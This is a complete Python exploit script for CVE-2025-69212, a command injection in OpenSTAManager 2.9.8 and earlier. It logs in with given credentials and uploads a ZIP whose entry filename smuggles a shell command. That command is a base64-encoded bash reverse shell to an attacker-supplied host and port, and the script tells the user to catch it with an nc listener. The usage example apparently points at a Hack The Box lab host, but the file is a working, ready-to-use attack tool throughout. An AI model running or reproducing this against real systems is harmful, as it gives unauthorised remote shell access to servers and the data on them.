#!/usr/bin/env python3 """ CVE-2025-69212 - OpenSTAManager <= 2.9.8 OS Command Injection → Reverse Shell GHSA-25fp-8w8p-mx36 Fix: Upload runs in a daemon thread — reverse shell holds the HTTP connection open (bash is blocking), so we never wait for a response. Script exits cleanly after firing the payload. Usage: python3 CVE-2025-69212.py -u http://support_001.enigma.htb -U admin -P 'pass' --lhost 10.10.15.90 --lport 9001 """ import requests import argparse import zipfile import base64 import threading import io import sys import time from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def banner(): print("\nCVE-2025-69212 | OpenSTAManager <= 2.9.8 | OS Command Injection") print("GHSA-25fp-8w8p-mx36 | src/Util/XML.php exec() unsanitized P7M filename\n") # Login def login(base_url, username, password, proxies=None): session = requests.Session() login_url = f"{base_url}/index.php?op=login" print(f"[*] Logging in as {username} ...") r = session.post(login_url, data={"username": username, "password": password}, verify=False, allow_redirects=True, proxies=proxies, timeout=20) if "logout" in r.text.lower() or "op=login" not in r.url: print("[+] Login successful!") return session print("[-] Login failed.") sys.exit(1) # ZIP Builder def build_zip(command): """ Malicious ZIP with injected .p7m filename. """ malicious_name = f'invoice.p7m";{command};echo ".p7m' print("[*] Building malicious ZIP ...") print(f" Filename : {malicious_name}") buf = io.BytesIO() with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr(malicious_name, b"DUMMY_P7M_CONTENT") buf.seek(0) return buf.read() # Upload (fires in background thread) def _do_upload(session, url, zip_bytes, proxies): try: session.post( url, files={"blob1": ("exploit.zip", zip_bytes, "application/zip")}, data={"op": "save", "id_module": "14", "id_plugin": "48"}, verify=False, proxies=proxies, timeout=None ) except Exception: pass def fire_payload(session, base_url, zip_bytes, proxies=None): url = f"{base_url}/actions.php" print(f"[*] Sending payload to {url} ...") t = threading.Thread( target=_do_upload, args=(session, url, zip_bytes, proxies), daemon=True ) t.start() time.sleep(3) print("[+] Payload fired! (connection held open by bash — that's expected)") # Main def main(): banner() parser = argparse.ArgumentParser( description="CVE-2025-69212 OpenSTAManager OS Command Injection -> Reverse Shell" ) parser.add_argument("-u", "--url", required=True, help="Target base URL") parser.add_argument("-U", "--username", required=True, help="Username") parser.add_argument("-P", "--password", required=True, help="Password") parser.add_argument("--lhost", required=True, help="Your IP for reverse shell") parser.add_argument("--lport", required=True, type=int, help="Your port for reverse shell") parser.add_argument("--proxy", help="HTTP proxy (e.g. http://127.0.0.1:8080)") args = parser.parse_args() base_url = args.url.rstrip("/") proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None revshell = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1" b64 = base64.b64encode(revshell.encode()).decode() command = f"echo {b64}|base64 -d|bash" print("--------------------------------------------------------") print(" REVERSE SHELL") print("--------------------------------------------------------") print(f" LHOST : {args.lhost}") print(f" LPORT : {args.lport}") print(f" Payload : {revshell}") print(f"\n [!] Make sure your listener is running: nc -lvnp {args.lport}\n") print("--------------------------------------------------------") print(" EXPLOITATION") print("--------------------------------------------------------") session = login(base_url, args.username, args.password, proxies) zip_bytes = build_zip(command) fire_payload(session, base_url, zip_bytes, proxies) print("\n[+] Check your nc listener for a shell!") print(f"\n[+] Done.\n") if __name__ == "__main__": main()